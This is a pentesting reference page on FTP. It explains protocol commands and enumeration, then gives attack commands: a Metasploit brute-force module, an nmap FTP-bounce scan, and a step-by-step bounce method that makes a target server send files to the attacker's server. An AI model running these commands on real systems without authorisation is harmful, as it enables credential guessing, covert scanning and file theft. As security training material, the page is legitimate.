🛠️FTP

Theory

The File Transfer Protocol (FTP) is a standard network protocol used for the transfer of files between a client and server. It usually runs on ports 21/tcp or 2121/tcp.

Basic usage

Standard UNIX-like commands, like cd, ls, mkdir, rm can be used. Here is a short list of some specific commands.

Command	Description
help	display local help information
get	download file from remote server
put	upload file on the remote server
ascii	set the transfer type to "ASCII"
binary	set the transfer type to "Binary"
close	terminate FTP session
bye	terminate ftp session and exit

When downloading files, users should set the FTP client to "Binary" (binary command) in order to prevent files from becoming corrupted during transit.

Regular text file can be downloaded in the other mode : "ASCII" (ascii command)

Hidden files can be listed with ls -a

Enumeration

Banner grabbing

Useful to get basic information about the FTP server such as its type and version.

telnet -vn $IP $PORT

Accepted commands

The HELP and FEAT commands could give information about the FTP server such as the recognized commands and the extended features the server supports.

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV    
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD     
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP    
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*    
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU    
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST    
214-NLST    STAT    SITE    MLSD    MLST    
214 Direct comments to [e-mail]
FEAT
211-Features:
 PROT
 CCC
 PBSZ
 AUTH TLS
 MFF modify;UNIX.group;UNIX.mode;
 REST STREAM
 MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
 UTF8
 EPRT
 EPSV
 LANG en-US
 MDTM
 SSCN
 TVFS
 MFMT
 SIZE
211 End

🛠️ Files

https://www.howtoforge.com/using-wget-with-ftp-to-download-move-web-sites-recursively

Connection

Anonymous login

Some FTP servers are configured to let users connect anonymously and thus give them access to files on the servers without authentication.

$ ftp $IP $PORT
Name: anonymous
Password: <nothing>
ftp> ls -a # List all files (even hidden) (yes, they could be hidden)
ftp> ...

Attacks

Brute force

msfconsole
use auxiliary/scanner/ftp/ftp_login
set RHOSTS $IP
set RPORT $PORT
set USER_FILE $user.txt
set PASS_FILE $pass.txt
run

FTP sniffing

If the FTP communications are not encrypted and if the attacker is on the same network of the client or the server he can sniff the data packet traveling between the client and the server in order to retrieve credential.

Several tools like Wireshark could be used to sniff TCP packets.

FTP Bounce attacks

FTP Bounce attacks let an attacker requests access to ports by using the FTP command PORT. It's mostly used to make a port-scan without being detected (as you are not the one doing it, but the FTP server for you), for D.o.S. attacks, or to download files from another FTP server.

To check if the FTP server is vulnerable to Bounce attacks it is possible to use the tool NMAP.

https://nmap.org/nsedoc/scripts/ftp-bounce.html

Scan the victim's network

If a FTP server is vulnerable to Bounce attacks, an attacker could use it to scan its network without being detected.

nmap -v -b -P0 'username':'password'@'ftp_server' 'address(es)_to_scan'

Download file/folder

If an attacker has access to a bounce FTP server, he can make it request files of other FTP server and download that file to his own server.

Requirements:

• Valid credentials in the FTP intermediate server

• Valid credentials in target FTP server

• Both servers accept the PORT command

• Write permissions in the intermediate server

• Attacker's FTP server supports passive mode

Steps

• Connect to your own FTP server and make the connection passive to make it listen in a directory where the victim service will send the file.

#Start server + connection
service pure-ftpd start
ftp My_IP 21
ftp> USER my_own_username
#Enable passive mode
ftp> pasv
Entering Passive Mode (F,F,F,F,X,X) #Note the output (IP and port)
#Tells server to accept data and to store it into the dump file
ftp> stor dump

• Create the file to send to the intermediate server with the commands that the targeted server will have to execute. Let's call this file instrs.

user ftp   # user and pass of the targeted server
pass -anonymous@
cwd /DIRECTORY
type i
port F,F,F,F,X,X  #IP and port of the attacker
retr file.tar.Z
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
...

The extra nulls at the end of the command file are to fill up the TCP windows and ensure that the command connection stays open long enough for the whole session to be executed.

• Upload this file on the intermediate server, then upload it from the intermediate server to the targeted server and __make the targeted machine execute this file.

#Run these commands on the intermediate server
put instrs
quote "port C,C,C,C,0,21" #IP of the targeted server
quote "retr instrs"

• The attacker should have received on his server the file 'file.tar.Z' renamed as 'dump'.

Resources

21 - Pentesting FTPHackTricks

Penetration Testing of an FTP ServerMedium

https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/www.thesecuritybuddy.com

List of FTP Commands for Linux and UNIX | Serv-U